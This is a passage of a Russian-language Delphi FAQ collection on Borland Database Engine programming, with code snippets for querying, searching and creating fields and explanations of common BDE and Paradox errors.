Материал подготовлен в Демо-центре клиент-серверных технологий. (Epsylon Technologies)
Материал не является официальной информацией компании Borland.
E-mail mailto:delphi@demo.ru
www: http://www.ibase.ru/
Телефоны: 953-13-34
источники: Borland International, Борланд АО, релиз Interbase 4.0, 4.1, 4.2, 5.0, 5.1, 5.5, 5.6, различные источники на WWW-серверах, текущая переписка, московский семинар по Delphi и конференции, листсервер ESUNIX1, листсервер mers.com.
Cоставитель: Дмитрий Кузьменко


Как результат Query сделать в виде постоянной таблицы?

Traditionally, to write the results of a query to disk, you use a TBatchMove and a TTable in addition to your query. But you can short-circuit this process by making a couple of simple, direct calls to the BDE.

Make sure you have BDE declared in your uses section

procedure MakePermTable(Qry: TQuery; PermTableName: string);
var
  h: HDBICur;
  ph: PHDBICur;
begin
  Qry.Prepare;
  Check(dbiQExec(Qry.StmtHandle, ph));
  h := ph^;
  Check(DbiMakePermanent(h, PChar(PermTableName), True));
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Фильтр посредством логического поля

В таблице имеется поле Customer:Boolean. Я хочу чтобы таблица показывала только Customer или только не-customer.

Установите ключ (вы должны иметь индекс для этого поля) одним из указанных способов:

tablex.SetRange([False],[False])  // для всех не-customer...
tablex.SetRange([True], [True]])  // для всех customer...
tablex.SetRange([False],[True])   // для всех записей...

Взято с http://delphiworld.narod.ru


Функция вычисления суммы полей

function SumField(const fieldName: OpenString): longint;
var
  fld: TField;
  bm: TBookmark; // закладка
begin
  result := 0;
  tbl.DisableControls; // выключаем рекцию на перемещение по набору данных
  bm := tbl.GetBookmark; // сохраняем позицию
  fld := tbl.FieldByName(fieldName);
  tbl.first;
  while not tbl.eof do
  begin
    result := result + fld.AsInteger;
    tbl.next;
  end;
  tbl.GotoBookmark(bm); // позиционируем обратно
  tbl.EnableControls; // включаем реакцию на перемещение по набору данных
end;

Взято с http://delphiworld.narod.ru

Примечание Vit: данный способ один из худших, а точнее самый худший из всех возможных и мог бы служить пособием того как делать не следует (собственно для этого я его здесь и привёл). На больших таблицах, особенно на серверных базах данных выполнение этого кода будет исключительно медленное. Намного выгоднее выполнение SQL запроса вида:

Select Sum(MyField) From MyTable

И в коде чтение первого поля первой записи:

Function Form1.GetRecordSum(TableName:string):integer;
begin //на форме должен стоять компонент Query1 подсоединённый к нужной базе данных (код будет работать для любых разновидностей TQuery, TADOQuery и т.д.)
  Query1.active:=false;
  Query1.sql.text:='Select Sum(MyField) From '+TableName;
  Query1.active:=true;
  Result:=Query1.fields[0].asInteger;
  Query1.active:=false;
end;

при этом все другие открытые TTable/TQuery и т.п. на этой таблице могут продолжать оставаться открытыми.


Создание и удаление полей во время выполнения программы

TField-компоненты (или, точнее, потомки компонента TField с соответствующим типом поля) могут создаваться во время проектирования программы с помощью Fields Editor (редактора полей). Fields Editor вызывается двойным щелчком на иконке компонента TTable или TQuery. Но потомки TField могут быть созданы и удалены и в режиме выполнения программы.

Потомки компонента TField (такие как, например, TStringField, TIntegerField и др.) создаются методом Create для того типа потомка TField, который подходит к соответствующему полю набора данных. Другими словами, для поля строкового типа текущего набора данных необходимо вызвать метод Create класса TStringField, являющегося потомком TField. Методу Create необходим один параметр - владелец потомка TField, расположенный на TForm. После создания компонента наследника TField для того, чтобы новый экземпляр объекта мог установить связь с необходимым полем набора данных, необходимо установить несколько ключевых свойств. Вот их список:

FieldName: имя поля в таблице
Name: уникальный идентификатор компонента-потомка TField.
Index: позиция компонента-потомка TField в массиве TFields (свойство Fields компонента TTable или TQuery, с которым будет связан TField).
DataSet: компонент TTable или TQuery, с которым будет связан TField.
Приведенный ниже код демонстрирует способ создания TStringField. TForm названа Form1 (здесь ссылка на переменную Self), активный набор данных TQuery имеет имя Query1 и поле, для которого создается компонент TStringField, расположено в таблице dBASE с именем CO_NAME. Новый потомок TField будет вторым TField в свойстве-массиве Fields компонента Query1. Имейте в виду, что набор данных, связанный с новым потомком TField (в нашем случае Query1), перед добавлением TField должен быть закрыт, а после добавления вновь открыт.

procedure TForm1.Button2Click(Sender: TOObject);
var
  T: TStringField;
begin
  Query1.Close;
  T := TStringField.Create(Self);
  T.FieldName := 'CO_NAME';
  T.Name := Query1.Name + T.FieldName;
  T.Index := Query1.FieldCount;
  T.DataSet := Query1;
  Query1.FieldDefs.UpDate;
  Query1.Open;
end;

Вышеприведенный пример создает новый TStringField с именем Query1CO_NAME.

Для удаления существующего потомка TField достаточно вызова метода Free данного компонента. В примере, приведенном ниже, метод TForm FindComponent используется для получения указателя на компонент TStringField с именем Query1CO_NAME. Возвращаемая функцией FindComponent величина в случае успешного завершения будет иметь тип TComponent или nil в противном случае. Возвращаемое значение может использоваться для того, чтобы определить, действительно ли существует компонент до того, как будет применен метод Free.

procedure TForm1.Button1Click(Sender: TObject);
var
  TC: TComponent;
begin
  TC := FindComponent('Query1CO_NAME');
  if not (TC = nil) then
  begin
    Query1.Close;
    TC.Free;
    Query1.Open;
  end;
end;

Как и при создании TField, набор данных, связанный с потомком TField и активный в настоящий момент, перед вызовом данного метода должен быть закрыт и впоследствии вновь активирован.

Взято с http://delphiworld.narod.ru


Как пересчитать все вычисляемые поля (Calculated fields) без переоткрытия TDataSet?

Автор: Nomadic

Resync( [rmExact, rmCenter] );

Взято с http://delphiworld.narod.ru


Поиск по нескольким полям

keyfields:='name;name_1;n_dom;n_kw';
keyvalues:=VarArrayOf([combobox1.Text, combobox2.Text, edit2.Text, edit3.text]);
if dmod.qrfiz.Locate(keyfields,keyvalues,[])=false then
  dmod.qrfiz.Locate('id',id1,[]);

Взято с http://delphiworld.narod.ru


Поиск значения при вводе

Каким способом можно производить поиск подходящих величин в момент ввода? Табличный курсор (визуально) должен перемещаться к наиболее подходящему значению при добавлении пользователем новых символов водимой величины.

Первоначально код писался под Delphi 1. Это может и не лучшее решение, но это работает.

Для поиска величины таблица держится открытой. Индекс должен, естественно, принадлежать полю, используемому элементом управления EditBox. В случае изменения содержимого EditBox, новое значение используется для вызова стандартной функции FindNearest таблицы TTable. Возвращаемая величина снова присваивается свойcтву Text элемента EditBox.

Я привел лишь общее решение задачи. Фактически во время изменения значения я включал таймер на период 1/3 секунды и в обработчике события OnTimer проводил операцию поиска (с выключением таймера). Это позволяло пользователю набирать без задержки нужный текст без необходимости производить поиск в расчете на вновь введенный символ (поиск проводился только при возникновении задержки в 1/3 секунды).

Вам также может понадобиться специальный обработчик нажатия клавиши backspace или добавления символа в любое место строки.

Вместо возвращения результатов элементу EditBox (который перезаписывает введенное пользователем значение), вы можете передавать результаты другому элементу управления, например компоненту ListBox. Вы также можете отобразить несколько наиболее подходящих значений, к примеру так:

procedure Edit1OnChange(...);
var
  i: integer;
begin
  if not updating then
    exit;
  {сделайте обновление где-нибудь еще -
  например при срабатывании таймера}
  updating := false;
  Table1.FindNearest([Edit1.text]);
  ListBox1.clear;
  i := 0;
  while (i < 5) and (not (table1.eof)) do
  begin
    listbox.items.add(Table1.fields[0].asString);
    inc(i);
    table1.next;
  end;
  listbox1.itemindex := 0;
end;

Автор: Bob

Взято с http://delphiworld.narod.ru

Каким способом можно производить поиск подходящих величин в момент ввода? Табличный курсор (визуально) должен перемещаться к наиболее подходящему значению при добавлении пользователем новых символов водимой величины.

Это просто. Вот что я написал в обработчике события OnChange редактора.

with MainForm.PatientTable do
begin
  { начинаем поиск имени }
  IndexName := 'Name';
  FindNearest([SearchFor.Text]);
end;

Код подразумевает, что имя индекса, по которому производится поиск - Name. Свяжите этот код с табличной сеткой и курсор будет перескакивать на ближайшую запись, удовлетворяющую введенной пользователем информации.

Взято с http://delphiworld.narod.ru


Поиск записи в больших таблицах

Автор: Александр Куприн

В свою очередь хочу предложить на Ваш суд небольшую процедуру, которая мне очень помогла. Процедура позволяет переходить на любую из записей в таблице (формат Paradox или DBase). Необходимость в ней возникла, когда мне пришлось работать с таблицей размером в 10 и более тысяч записей у которой было несколько калькулируемых полей и полей подлинкованных из объектов TQuery. При использовании метода TTable.MoveBy программа медленно и печально замолкала (вообще-то она работала, но как?!). Встретил я этот пример в технической документации Borland (2656), где сравнивались функции Paradox Engine и BDE. Пример был написан на C. Вот его интерпретация на Delphi:

uses BDE;
...

procedure MoveToRec(RecNo: longint; taSingle: TDBDataSet);
// переход на логическую запись
var
  ErrorCode: DBIResult;
  CursorProps: CurProps;
begin
  ErrorCode := DbiGetCursorProps(taSingle.Handle, CursorProps);
  if ErrorCode = DBIERR_NONE then
  begin
    case TTable(taSingle).TableType of
      ttParadox: ErrorCode := DbiSetToSeqNo(taSingle.Handle, RecNo);
      ttDBase: ErrorCode := DbiSetToRecordNo(taSingle.Handle, RecNo);
    end; { case..}
    taSingle.Resync([rmCenter]);
  end { if..}
end; { procedure MoveToRec }

Взято с http://delphiworld.narod.ru


Поиск записи с помощью TQuery

Компонент TQuery не предусматривает основанный на индексе поиск, подобный реализованному в компоненте TTable (FindKey, GotoKey и GotoNearest). Поэтому возникает следующий вопрос: как в данных, возвращаемых запросом TQuery, найти определенную запись?

Один из путей поиска в результатах запроса является последовательный поиск. Данный тип поиска стартует в первой строке набора данных и, с помощью цикла, последовательно сравнивает значения полей с искомой величиной. Возможно достижение одного из двух результатов: величина будет найдена (успех) или будет достигнут конец набора данных (неудача). Самый большой недостаток этого способа поиска заключается в том, что он самый медленный, поскольку искомая величина может оказаться в одной их последних записей, а для этого придется перебрать весь набор данных. При неудаче он должен перебрать весь набор данных. При интенсивном поиске данный метод займет большую часть времени вычислений.

Вот функция, выполняющая последовательный поиск в результатах запроса TQuery:

var
  pb: TProgressBar;
begin
...

function SeqSearch(AQuery: TQuery; AField, AValue: String): Boolean;
begin
  with AQuery do
  begin
    First;
    while (not Eof) and (not (FieldByName(AField).AsString = AValue)) do
      Next;
    SeqSearch := not Eof;
  end;
end;

Данная функция требует три параметра:

AQuery: тип TQuery; компонент TQuery, в котором необходимо выполнить поиск.
AField: тип String; имя поля, с величиной которого проиходит сравнение значение поиска.
AValue: тип String; искомая величина. Если поля имеет тип отличный от типа String, искомая величина должна быть преобразована к типу данных.
Возвращаемая логическая величина указывает на успешность выполнения функции (True) или отсутствие результата поиска (False).
Альтернативой служит использование метода заключения в скобки. На концептуальном уровне данный метод действует отчасти подобно индексу bb-дерева. Он основывается на методе сравнения значения текущей строки набора данных и искомой величины с последующей проверкой на выполнение одного из трех возможных условий:

Величина поля будет больше чем значение поиска, или...
Величина поля будет меньше чем значение поиска, или...
Величина поля равняется значению поиска.
Данный метод сужает область данных, отбрасывая при каждой итерации записи, не удовлетворяющие приведенным выше условиям до тех пор, пока первые два условия выполняться не будут. Полученные данные сравнивается с искомой величиной и, если они совпадают, считается что функция выполнена успешно (success), или окончилась неудачей (failure, если искомая величина ни разу не встретилась, т.е. результат поиска не содержит ни одной строки).
Функционально данный процесс находит поля, удовлетворяющие условиям поиска, за количество итераций меньшее или равное числу записей. При этом возможно только два результата сравнения текущего поля и искомой величины: меньше чем/равняется/больше чем. Первоначально устанавливается диапазон чисел. Меньшая граница диапазона задается целым числом, начало процесса поиска устанавливается на 0 или величину меньшую, чем значение первой строки набора данных. Верхняя граница диапазона является также целым числом, содержащим значение свойства RecordCount экземпляра TQuery. Текущий указатель строки перемещается в в точку, лежащую посередине между нижней и верхней границей диапазона. Значение записи в этой точке сравнивается с искомой величиной. Если значение поля меньше или равно искомой величине, значит искомая величина находится в нижней части набора данных, поэтому верхняя граница диапазона перемещается к позиции текущей строки. Если значение поля больше величины поиска, то искомая величина находится в верхней части набора данных, поэтому к текущему указателю перемещается нижняя граница диапазона. Повторяя этот процесс, количество удовлетворяющих условиям поиска записей при каждой итерации уменьшается в два раза. В конечном счете должна остаться только одна строка.

Код модульной, транспортабельной функции должно выглядеть примерно так:

function Locate(AQuery: TQuery; AField, AValue: string): Boolean;
var
  Hi, Lo: Integer;
begin
  with AQuery do
  begin
    First;
    {Устанавливаем верхнюю границу диапазона строк}
    Hi := RecordCount;
    {Устанавливаем нижнюю границу диапазона строк}
    Lo := 0;
    {Текущий указатель перемещаем в в точку, лежащую посередине
    между нижней и верхней границей диапазона}
    MoveBy(RecordCount div 2);
    while (Hi - Lo) > 1 do
    begin
      {Значение поля больше искомой величины, величина в первой половине}
      if (FieldByName(AField).AsString > AValue) then
      begin
        {Вычисляем нижнюю границу верхнего поддиапазона общего диапазона}
        Hi := Hi - ((Hi - Lo) div 2);
        MoveBy(((Hi - Lo) div 2) * -1);
      end
        {Найденное поле меньше искомой величины, нужно искать в верхней половине}
      else
      begin
        {Перемещаем вверх нижнюю границу общего диапазона}
        Lo := Lo + ((Hi - Lo) div 2);
        MoveBy((Hi - Lo) div 2);
      end;
    end;
    {Обрабатываем нечетную нумерацию строк}
    if (FieldByName(AField).AsString > AValue) then
      Prior;
    Locate := (FieldByName(AField).AsString = AValue)
  end;
end;

Последние строчки были добавлены для обработки ситуации, когда верхняя и нижняя границы диапазона различаются по четности строк.

Данная функция также требует три параметра, как и функция SeqSearch, описанная выше.

Величина, возвращаемая функцией, имеет тип Boolean и указывает на ее удачное или, наоборот, неудачное завершение. Так как процесс поиска перемещает указатель строки, то вызывающее приложение должно принимать во внимание эффект от такого перемещения и при неудачном поиске он должен быть возвращен на место. Например, указатель TBookmark может использоваться для того, чтобы возвращать указатель строки на то место, где он был до неудачного завершения функции.

Чем этот метод лучше последовательного поиска? Во-первых, данный метод не производит сравнение всех строк, как это делает метод последовательного поиска, а опрашивает часть записей. Если искомая величина не располагается в числе первых 1,000 строк, то этот метод окажется быстрее чем метод последовательного поиска. Поскольку этот процесс всегда использует одинаковое количество записей, то время поиска будет одинаковым и когда искомая величина находится в записи с номером 1,000, и когда она находится в записи с номером 90,000. Это в корне отличается от последовательного поиска, когда время поиска напрямую зависит от местонахождения искомой величины.

Эти методы могут использоваться в любых результатах запроса TQuery? Нет. Все дело в технологии: описанные методы пользуются такими понятиями, как направление поиска, нижняя и верхняя границы диапазона. Это означает, что набор данных должен быть последователен и непрерывен, т.е. для получения результатов TQuery должен использовать SQL-запросы, содержащие ключевую фразу ORDER BY. Размер полученного набора данных также является показателем для выбора метода. Метод заключения в скобки выгоднее использовать при большом наборе данных. В случае, когда число записей невелико (1,000 и менее строк), метод последовательного поиска все же будет быстрее.

Как мне найти запись (осуществить 'Find') в TQuery?

Я привел ниже код, который я использую в своей работе, правда, в нем еще необходимо организовать обработку исключительных ситуаций, но это дело времени. Когда пользователь нажимает кнопку "Найти", обработчик события OnClick вызывает процедуру SearchName.

Объявляем: FindSearch : Boolean и инициализируем значением True.

function LookForString(target, source: string): boolean;
{ в случае игнорирования перед вызовом pos необходимо
преобразовать source и target в верхний регистр }
begin
  LookForString := pos(target, source);
end;

procedure SearchName(searchtype: string; stringtofind: string);
var
  OldCursor: TCursor;
  CurrentPos: TBookmark;
  found: boolean;
begin
  if Form1.Query1.State = dsEdit then
    Form1.Query1.Post;
  if StringToFind = '' then
    exit;
  OldCursor := Screen.Cursor;
  Screen.Cursor := crHourGlass;
  with Form1 do
  begin
    CurrentPos := Query1.GetBookmark;
    Query1.DisableControls;
    found := false;
    if searchtype <> 'prev' then { первый или следующий }
    begin
      if searchtype = 'first' then
        Query1.First
      else if not Query1.EOF then
        Query1.Next;
      while (not Query1.EOF) and (not found) do
      begin
        if LookForString(StringToFind, MemberName) <> 0 then
          found := true;
        if not found then
          Query1.Next;
      end;
    end
    else
    begin { prev }
      if not Query1.BOF then
        Query1.Prior;
      while (not Query1.BOF) and (not found) do
      begin
        if LookForString(StringToFind, MemberName) <> 0 then
          found := true;
        if not found then
          Query1.Prior;
      end;
    end;
    Screen.Cursor := OldCursor;
    if found then
    begin
      FindSearch := false;
      ChangeFindCaption;
      UpdateStatusLabel;
    end
    else
    begin
      MessageDlg('Больше ничего не найдено.', mtInformation,
        [mbOK], 0);
      Query1.GotoBookmark(CurrentPos);
    end;
    Query1.EnableControls;
    Query1.FreeBookmark(CurrentPos);
  end; { конец работы с Form1 }
end;

procedure TForm1.FindButtonClick(Sender: TObject);
begin
  if FindSearch then
    SearchName('first', Page0Edit.Text)
  else
    SearchName('next', Page0Edit.Text);
end;

Взято с http://delphiworld.narod.ru


FindKey для нескольких полей

with Table1 do
  begin
    SetKey;
    FieldByName('State').AsString := 'CA';
    FieldByName('City').AsString := 'Scotts Valley';
    GotoKey;
  end;

Вы не можете использовать Findkey с файлами DBase более чем для одного поля.

oEmetb.indexName:='PrimaryKey';
if oEmeTb.findkey([prCLient,prDiv,prEme])then

где findkey передаются параметры для Primary Keyfields.

Я обращаю ваше внимание на то, что имя индекса (Index) чувствительно к регистру, так что будьте внимательны.

Вы можете также воспользоваться oEmeTb.indexfieldnames, но убедитесь в том, что ваш список ключевых полей в точности соответствуют ключевым полям, которые вы ищете.

oEmetb.indexfieldNames:='EmeClient;EmeDiv;EmeNo';
if oEmeTb.findkey([123,'A',96])then

Взято с http://delphiworld.narod.ru


Как показать удалённые записи

procedure DeletedRecords(Table: TTable; SioNo: Boolean);
begin
  Table.DisableControls;
  try
    Check(DbiSetProp(hDBIObj(Table.Handle), curSOFTDELETEON, Longint(SioNo)));
  finally
    Table.EnableControls;
  end;
  Table.Refresh;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Вставка новой записи через буфер

Table2.Insert;
Move(Table1.ActiveBuffer^,Table2.ActiveBuffer^,Table1.RecordSize);
{При необходимости назначаем новый первичный ключ}
Table2.FieldByName('Primary Key').AsWhatever := whatever;
Table2.Post;

...если вы уверены в том, что нарушение ключа произойти не может, то можно вырезать это для дальнейшего использования:

DbiInsertRecord(Table2.Handle,dbiNOLOCK,Table1.ActiveBuffer);

...конечно, это "обходит" VCL, т.к., чтобы увидеть потом новую запись, необходимо сделать TTable.Refresh.

Взято с http://delphiworld.narod.ru


Объяснения некоторых ошибок при работе с базами данных

Cодержание раздела:

Access to table disabled because of previous error. Read failure.
Database index out of date error
BDE Error 2B04 Too many open files
BLOB has been modified., Index is out of date
ISAPI and CGI Applications get Errors Initializing the BDE.
При использовании BDE, попытка вызвать abort выдает ошибку компиляции
Огромные LCK-файлы (Lock File Has Grown Too Large)
Обработка исключения index not found
Memo too large
Multiple records found, but only one was expected
Перехват ошибок DBEngine
Stream Read Error
Ошибка создания дескриптора курсора
Ошибка BDE32 2104
Тpансляция ошибок

См. также статьи в других разделах:
Список ошибок BDE
Создание новой MS Access базы данных
Ошибка: lock manager out of room
Ошибка о файле SAA.AAA
Как избавиться от ошибки multiple rows in singleton select?
Access to table disabled because of previous error. Read failure

См. также другие разделы:
Ошибки связанные с работой среды Дельфи


Access to table disabled because of previous error. Read failure.

При добавлении новых записей с помощью метода TTable.AppendRecord в индексированную таблицу FoxPro через какое-то время (то есть при одновременном добавлении большого количества записей) возникает ошибка:

"Access to table disabled because of previous error. Read failure. File <имя_файла.cdx>".

Возможно, причина заключается в том, что операции чтения-записи в файл, содержащий таблицу FoxPro, особенно при использовании кэширования, предоставляемого операционной системой, конфликтуют с содержимым индексного файла (это часто происходит при многопользовательской работе). Дело в том, что ранние версии dBase, FoxPro, Clipper работали с неподдерживаемыми индексами, то есть индексные файлы не обновлялись одновременно с таблицей, и для их синхронизации требовалось выполнять специальные операции. Но соответствующие средства разработки, применявшиеся в то время, обычно не поддерживали никаких аналогов транзакций - записи чаще всего вставлялись по одной.

В случае применения старых версий формата FoxPro следует избегать кэширования при выполнении дисковых операций с файловым сервером, содержащим базу данных FoxPro. Кроме того, следует проверить и, если необходимо, изменить в настройках BDE параметры MINBUFSIZE, MAXBUFSIZE, LOCAL SHARE - возможно, проблема заключается в недостаточной величине буферов BDE для кэширования данных или в одновременном доступе к данным приложений, использующих и не использующих BDE.

Еще одним из способов решения этой проблемы (самым радикальным) является замена FoxPro на какую-нибудь из серверных СУБД. Например, InterBase неплохо справляется с одновременным вводом большого количества записей благодаря некоторым специфическим особенностям архитектуры этого сервера.

Наталия Елманова
Взято из http://forum.sources.ru


Database index out of date error

This is a BDE/Paradox error message. For newbies, BDE error messages are daunting, cryptic messages. Actually, even for seasoned veterans, they can sometimes be real "stumpers." Unfortunately, there's no real good reference available that I know of, so all I can offer with respect to this error message is my experience.

The "Index out of date" message can mean a couple of things:

1. 1. One of the more common causes of this error is one in which you have a couple of copies of a table existing on your network or machine. For instance, when I develop applications, I have my application tables residing in my development system, then have copies of them on my network. When I need to update my tables, I usually do the updates in my development system, then copy them over to my deployment system on the network. I've run into this exact error when I've copied only the table (.DB) file and not its accompanying index file(s) (.PX, .X01, .Y01, etc) as well. You see, when you update a table by changing it in any way, its index files are also resynched to reflect the changes. So if you copy just the table to a new place on your system and don't include its family members, you'll index files that aren't in synch with your table. Okay that's one cause.
2. 2. The next cause could be just this: One of your indexes is corrupt. This could be due to sector errors on your hard disk, or the rare, but possible, direct corruption of an index. This usually happens if your program abended while performing an update to a table with an index of some sort. In that case, the index doesn't get updated.

But in any case, the only way I know of to correct the problem is to do the following:

1. Open up your table in Database Desktop.
2. Restructure it.
3. Define/Rebuild all your indexes.
4. Save the file.

Взято с Delphi Knowledge Base: http://www.baltsoft.com/

Автор: Tom Jensen

Некоторое время назад у меня также была масса ошибок типа 'index out of date' и даже искажение данных. После продолжительного исследования я выяснил причину, она оказалось в различных установках Paradox Language в BDE (v1 и V3) на странице Driver и System в утилите конфигурирования BDE. Я не обратил внимание на установки на странице System одной из рабочих станций, и получил искажение данных.

Взято с http://delphiworld.narod.ru


BDE Error 2B04 Too many open files

Open the tool 'BDE Administrator' and choose the right tab 'Configuration'. There open the node 'System' and click on subnode 'INIT'. Then update 'MaxFileHandles' on the right side (it is 48 by default).
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


BLOB has been modified., Index is out of date

Объяснение от Борланд:
Index out Date ($2F02) is an error that occurs while using Paradox tables when the data in a table and a corresponding index is not consistent. In most cases (see below for the one exception), short of malicious behavior such as renaming an index, adding some data to the table, then renaming the index back, there is no programmatic way to cause this error to occur. There is no way to determine which index is out of date. All indexes must be recreated.

Blob has been modified ($3302) is an error that occurs when the Blob portion of the record contained in the .DB file has become inconsistent with the Blob portion in the .MB file. This could occur when the write to the .DB file was successful but the .MB file did not get updated, or visa-versa.

There are a few mechanisms to fix a table where these errors have occurred.
1. First try re-starting the application. It is possible that the BDE has become unstable and is reporting incorrect errors. Also try opening the table with a different application.
2. Use Paradox 7 or 8 to run the Table Repair utility. Please see original documentation for more information.
3. Run TUtility and rebuild the table. TUtility is an unsupported utility available for download from the Borland web site in the {Utilities, programs and updates section}.
4. Delete all indexes and recreate them (Index out Date ($2F02) error only). To do this you'll need to know the structure of all your indexes (including primary) before recreating them, which means you need to know the structure of all indexes before the error occurs.
There are 8 known possible causes for this error.
1. Incorrectly setting the LOCAL SHARE property.

Most commonly this occurs via Peer-to-Peer networking. In this case the two different database engines are on two CPUs, even though they may be the same version. See { BDE setup for Peer-To-Peer(Non-Dedicated) Networks} for additional information on Peer-to-Peer setup.

Another condition is when two different database engines execute on the same CPU concurrently and access data locally. This would be true when any combination of following are used concurrently: The Paradox Engine, BDE 16 bit, BDE 32 bit, Paradox for DOS. In this case each engine must set LOCAL SHARE to TRUE. Note that if use two applications which both use the same database engine (for example: Delphi 3 and C++ Builder 3) concurrently are run LOCAL SHARE does not need to be set to TRUE. In this case, all locking and cached data is in a central memory pool which all BDE applications have access to. Also, if two different database engines use data remotely, LOCAL SHARE must be set to TRUE.

Code should be used at startup to check the setting of local share. Look at the {DbiOpenCfgInfoList } BDE API function call for more information.

2. Error transmitting data from the workstation to the server.

Most commonly, this occurs with bad network hardware (cable, card, hub, etc.). This has been determined to be a problem even though there were no other errors are detected in data transmission. To determine if this is the cause for your error, try eliminating one CPU at a time from using the data and see if the problem continues.

3. Bad VREDIR.VXD on any client accessing tables Windows 95 ONLY:

Several versions (notably 4.00.1113 and 4.00.1114) of the file VREDIR.VXD may need to be updated.

Reports have shown that using the original release of VREDIR.VXD (4.00.950) and a new release (4.00.1116) do not result in the errors "Blob has been modified" and/or "Index is out of date." If any one of the clients has a "bad" version of this device driver, the error can occur on any machine, not just the machine with the bad driver.

This error most likely occurs in 16Bit versions of the Borland Database Engine, although it still can occur in 32Bit versions.

For further information on the update of VREDIR.VXD, Please check the following Microsoft Articles: {Q174371} and {Q165403}

4. For Windows 95 clients only, when using data on Windows NT: Add the following key in your registry: HKEY_LOCAL_MACHINESystemCurrentControlSetServicesVxDVredir

Then create the string or Binary Value (either one works) with a name of DiscardCacheonOpen and make it equal to 1.

Note that this an undocumented registry entry obtained from Microsoft. Questions on its functionality should be directed to Microsoft.

5. Problem with opportunistic locking Windows NT ONLY: Try turning off opportunistic locking in the Windows NT registry: See Microsoft Article {Q129202}

Note: Borland internal testing has not indicated this setting to be significant. However, some Borland customers have indicated this to solve the problem.

6. Improperly closing files such as due to loss of power or restarting a workstation or the server without closing files first may cause this problem. Paradox tables are not designed to withstand such behavior. If this is a possibility in your environment, we recommend you use a Client Server database that can recover from such conditions.

7. Extremely large numbers of indexes, especially involving Referential Integrity can cause this problem and especially when using Windows NT as the server. Borland recommends using a Client Server database under this condition. However, if you are using Windows NT as your server, switching to Novell Netware or Windows 95 as the server may resolve the problem as well.

8. The one programmatic way you can make this error occur is if you attempt to post a duplicate value to a unique, non-primary index at the same time you attempt to open the same table. This problem only occurs if local share is set to False and only occurs on local drives.
Unverified solutions
1. Windows 95 Only: Bring up the network properties screen on all Workstations and enter the netBEUI properties screen. On the advanced tab, make sure that "Set this protocol to be the default protocol" is checked.

2. Windows 95 Only: If the previous suggestion did not work, try removing the following protocols in order. Remove one at a time and then re-test your problem:
1. NETBIOS support for IPX/SPX-compatible Protocol
2. TCP/IP
3. IPX/SPX-compatible Protocol If the problem disappears, attempt to add back in all protocols except for the last one that was taken out. Again, make sure netBEUI's default protocol check box is checked.

3. Windows NT Only used as a Workstation: On the Network Bindings page of the Network Properties, set the NetBEUI Protocol to be at the top of all services. The TCP/IP stack is known for having a lot of overhead that might cause timing problems. Since NT will send requests back in the same protocol as it is sent, changing the bindings on a NT machine used as a server will have no effect.
Other resources
1. {The Delphi Magazine} has a number of interesting articles on this subject as well. See { www.itecuk.com/Delmag/Paradox.htm} for details.

Примечание от Vit:
Обычно такие ошибки возникают из-за проблем с кэшированием измений в базе данных, особенно при использовании BLOB/Memo полей и особенно при многопользовательском доступе. В простейшем случае снизить частоту возникновения этой ошибки на несколько порядков помогает вызов метода FlushBuffers после каждого изменения таблицы:

Table1.post;
Table1.FlushBuffers;


ISAPI and CGI Applications get Errors Initializing the BDE.

Scenario: When my ISAPI or CGI Applications try to access the BDE they get an error when the BDE tries to initialize. The BDE appears to be installed correctly since regular desktop applications operate without any problems.

Suggestion: The user that runs under IIS may not have proper permissions set on the system Temp directory. One suggestions is to change the security settings to Full Control for the USERS user. Full Control must be set on Temp in addition to the directory having read, write permissions.


При использовании BDE, попытка вызвать abort выдает ошибку компиляции

При использовании модулей доступа к BDE (DbiTypes, DbiProcs, DbiErrs), любая попытка вызвать процедуру abort выдает ошибку при компиляции при вызове метода abort "Statement expected, but expression of type 'Integer' found". Я пытался найти DbiTypes.pas, DbiProcs.pas и DbiErrs.pas чтобы разобраться но не нашел этих файлов. Где расположены эти файлы и как обойти ошибку?

Модули DbiTypes, DbiProcs, DbiErrs это псевдонимы модуля "BDE", обьявлены в Projects->Options->Directories/Conditionals->Unit Aliases. Исходник модуля DBE находится в каталоге "doc" и называется "BDE.INT". В этом файле обьявленна константа ABORT со значением -2. Так как Вы хотите использовать процедуру Abort(), которая обьявлена в модуле SysUtils, Вам нужно добавить префикс SysUtils перед вызовом процедуры Abort.

SysUtils.Abort;


Огромные LCK-файлы (Lock File Has Grown Too Large)

Если .EXE-файл расположен в том же каталоге, что и таблица Paradox, и флажок Local Share установлен в TRUE, .LCK-файл с каждым запросом растет как на дрожжах. Другая условие - вы имеете соединение посредством DbiOpenTable или TTable.Open.

РЕШЕНИЕ:

Установите частный (private) каталог в какое-нибудь другое место
Переместите .EXE-файл в каталог, отличный от каталога с файлами таблиц
Установите Local Share в FALSE

- Scott Frolich
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba

Эта проблема специфична для таблиц форматат Paradox, относится как 16 битным, так и 32 битным версиям BDE, и может встречается при выполнении одного из следующих условий:

1. Исполняемый файл приложения находится в той же папке, что и таблица.
2. Некорректно установлен (неустановлен) параметр Private Directory.
3. Открытая в TTable таблица Paradox участвует в запросах TQuery.
4. Параметр LOCAL SHARE установлен в True (BDE Administrator, закладка "System")

Для решения проблемы необходимо выполнить следующие шаги:

1. В папке с исполняемым файлом приложения создайте три новых папки: TABLES, PRIV и NET (длина пути NetDir не должна привышать 31 символа). Поместите все таблицы приложения в папку Tables

2. Во время исполнения Ваше приложение должно устанавливать значения:

Session.PrivateDir := ExtractFilePath(ParamStr(0)) + 'PRIV'; Session.NetFileDir := ExtractFilePath(ParamStr(0)) + 'NET';

3. Убедитесь, что значение LOCAL SHARE установлено в False (BDE Administrator, закладка "System")

Эти рекомендации позволяют избежать ошибки "Lock File Too Large".

Источник

Примечание: данные рекомендации справедливы для локальных баз, в случае сетевых баз и/или размещения программы на сетевом устройстве или при доступе из нескольких программ, можно поступись следующим образом:

1. Не размещайте базу и программу в одной папке, тем более, что программу желательно поместить в защищенную от записи папку.

2. Приватный каталог надо разместить в персональной папке, желательно для каждой запущенной копии приложения отдельный, подходящее место персональная папка TEMP\SessionID\

3. Сетевой каталог NETDIR - выделить отдельную папку на сети исключительно только для этой цели и единную для всех приложений BDE

4. LOCAL SHARE - TRUE, можно попробовать и FALSE, если это не будет приводить к порче индексов.

Взято с http://delphiworld.narod.ru


Обработка исключения index not found

Как мне открыть таблицу dBASE без требуемого MDX-файла? Я постоянно получаю исключение "Index not found..." (индекс не найден).

